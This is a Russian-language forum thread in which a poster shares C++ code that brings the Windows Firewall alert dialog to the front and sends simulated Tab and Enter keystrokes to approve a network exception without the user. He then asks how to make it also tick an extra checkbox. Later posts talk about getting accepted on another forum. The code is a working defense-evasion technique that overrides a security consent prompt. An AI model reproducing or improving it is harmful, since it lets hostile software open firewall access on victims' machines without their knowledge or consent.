[C++] Стандартный файрволл на Windows не байпассится

id01

Новичок
Статус
offline
Регистрация
11.07.2017
Сообщения
6
Репутация
0
Кодю на плюсиках. Есть вот такая функция:

Код:
int SetFirewallException(HWND alertwindow)
{
    if (alertwindow != NULL) {
        if (BringWindowToTop(alertwindow)) {
            DWORD dwCurrentThread = GetCurrentThreadId();
            DWORD dwFGTThread = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
            AttachThreadInput(dwCurrentThread, dwFGTThread, TRUE);
            SetForegroundWindow(alertwindow);
            int x = 0;
            INPUT ip;
                ip.type = INPUT_KEYBOARD;
                ip.ki.wScan = 0;
                ip.ki.time = 0;
                ip.ki.dwExtraInfo = 0;
            for (; x < 6; x++){
                ip.ki.wVk = 0x09;
                ip.ki.dwFlags = 0;
                SendInput(1, &ip, sizeof(INPUT));
                ip.ki.dwFlags = KEYEVENTF_KEYUP;
                SendInput(1, &ip, sizeof(INPUT));
            }
            if (x == 6){
                ip.ki.wVk = 0x0D;
                ip.ki.dwFlags = 0;
                SendInput(1, &ip, sizeof(INPUT));
                ip.ki.dwFlags = KEYEVENTF_KEYUP;
                SendInput(1, &ip, sizeof(INPUT));
            }
        }
        else return 1;
    }
    else return 1;
    return 0;
}

При запуске приложения все срабатывает и исключение добавляется. Но есть одно маленькое но. По умолчанию в окошке брандмауэра отмечена только одна галочка (тестирую на десятке), что надо бы поправить. Переписываю функцию вот так:

Код:
int SetFirewallException(HWND alertwindow)
{
    if (alertwindow != NULL) {
        if (BringWindowToTop(alertwindow)) {
            DWORD dwCurrentThread = GetCurrentThreadId();
            DWORD dwFGTThread = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
            AttachThreadInput(dwCurrentThread, dwFGTThread, TRUE);
            SetForegroundWindow(alertwindow);
            int x = 0;
            INPUT ip;
                ip.type = INPUT_KEYBOARD;
                ip.ki.wScan = 0;
                ip.ki.time = 0;
                ip.ki.dwExtraInfo = 0;
            for (; x < 4; x++){
                ip.ki.wVk = 0x09;
                ip.ki.dwFlags = 0;
                SendInput(1, &ip, sizeof(INPUT));
                ip.ki.dwFlags = KEYEVENTF_KEYUP;
                SendInput(1, &ip, sizeof(INPUT));
            }
            if (x == 4){
                ip.ki.wVk = 0x0D;
                ip.ki.dwFlags = 0;
                SendInput(1, &ip, sizeof(INPUT));
                ip.ki.dwFlags = KEYEVENTF_KEYUP;
                SendInput(1, &ip, sizeof(INPUT));
            }
            for (; x < 6; x++){
                ip.ki.wVk = 0x09;
                ip.ki.dwFlags = 0;
                SendInput(1, &ip, sizeof(INPUT));
                ip.ki.dwFlags = KEYEVENTF_KEYUP;
                SendInput(1, &ip, sizeof(INPUT));
            }
            if (x == 6){
                ip.ki.wVk = 0x0D;
                ip.ki.dwFlags = 0;
                SendInput(1, &ip, sizeof(INPUT));
                ip.ki.dwFlags = KEYEVENTF_KEYUP;
                SendInput(1, &ip, sizeof(INPUT));
            }
        }
        else return 1;
    }
    else return 1;
    return 0;
}

То магическим образом сразу нихрена не работает. То есть если заставить программу нажимать на галку, то все, капут. Так не каеф. Поможете нерадивому кодеру?
 
Последнее редактирование:

id01

Новичок
Статус
offline
Регистрация
11.07.2017
Сообщения
6
Репутация
0
пробовал, не пропустили)
там 1 из важных условий, кидать ссылки на другие форумы на свой профиль, и как видишь - моего профиля мало, чтоб зарегаться)
Тогда меня точно не пропустят... У меня есть несколько профилей на разных форумах, но я бесполезный(9
 

Fructose

Новичок
Статус
offline
Регистрация
21.06.2017
Сообщения
13
Репутация
4
пробовал, не пропустили)
там 1 из важных условий, кидать ссылки на другие форумы на свой профиль, и как видишь - моего профиля мало, чтоб зарегаться)
Там дело не в репе и кол-ве профилей на форумах ,у них свои критерии отбора насколько я знаю